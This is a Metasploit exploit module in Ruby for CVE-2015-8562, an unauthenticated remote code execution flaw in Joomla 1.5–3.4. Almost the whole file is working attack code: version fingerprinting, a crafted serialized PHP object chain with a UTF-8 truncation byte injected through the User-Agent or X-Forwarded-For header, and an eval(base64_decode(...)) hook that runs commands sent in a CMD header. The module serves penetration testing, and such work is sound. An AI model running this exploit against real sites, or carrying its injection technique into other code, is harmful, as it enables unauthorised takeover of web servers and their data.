##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Joomla HTTP Header Unauthenticated Remote Code Execution',
      'Description'    => %q{
          Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5 to 3.4.
          By storing user supplied headers in the databases session table it's possible to truncate the input
          by sending an UTF-8 character. The custom created payload is then executed once the session is read
          from the databse
      },
      'Author'	=>
        [
          'Marc-Alexandre Montpas', # discovery
          'Christian Mehlmauer' # metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2015-8562'],
          ['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'],
          ['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'],
          ['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'],
          ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'],
          ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html']
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Joomla', {}]],
      'DisclosureDate' => 'Dec 14 2015',
      'DefaultTarget'  => 0)
      )

    register_options(
      [
        OptString.new('TARGETURI', [ true,  'The path to joomla', '/' ]),
        OptEnum.new('HEADER', [ true,  'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]])
      ], self.class)
  end

  def check
    res = send_request_cgi({'uri' => target_uri.path })

    unless res
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown
    end

    unless res.headers['X-Powered-By']
      vprint_error("Unable to determine the PHP version.")
      return Exploit::CheckCode::Unknown
    end

    php_version = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)/i).flatten.first || ''
    vprint_status("Found PHP version: #{php_version}")

    vulnerable = false
    vulnerable = true if php_version < '5.4'
    vulnerable = true if php_version.start_with?('5.4') && php_version < '5.4.45'
    vulnerable = true if php_version.start_with?('5.5') && php_version < '5.5.29'
    vulnerable = true if php_version.start_with?('5.6') && php_version < '5.6.13'

    unless vulnerable
      vprint_error('This module currently does not work against this PHP version')
      return Exploit::CheckCode::Safe
    end

    res.get_html_meta_elements.each do |element|
      if element.attributes['name'] &&
        /^generator$/i === element.attributes['name'] &&
        element.attributes['content'] &&
        /joomla/i === element.attributes['content'].value
        return Exploit::CheckCode::Detected
      end
    end

    res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'plugins', 'system', 'cache', 'cache.xml') })
    return Exploit::CheckCode::Detected if res && res.code == 200 && res.body && res.body.include?('<author>Joomla! Project</author>')

    Exploit::CheckCode::Safe
  end

  def get_payload
    pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|"
    middle = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";'
    pay = "eval(base64_decode($_SERVER['HTTP_CMD']));JFactory::getConfig();exit;"
    middle2 = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}'
    post = "\xF0\x9D\x8C\x86"
    return "#{pre}#{middle}s:#{pay.length}:\"#{pay}#{middle2}#{post}"
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def exploit
    if check == Exploit::CheckCode::Safe
      print_error('Target seems safe, so we will not continue.')
      return
    end

    print_status("Sending payload ...")
    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => target_uri.to_s,
      'headers' => { datastore['HEADER'] => get_payload }
    })
    session_cookie = res.get_cookies
    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => target_uri.to_s,
      'cookie'   => session_cookie,
      'headers' => {
        'CMD' => Rex::Text.encode_base64(payload.encoded)
      }
    })
  end
end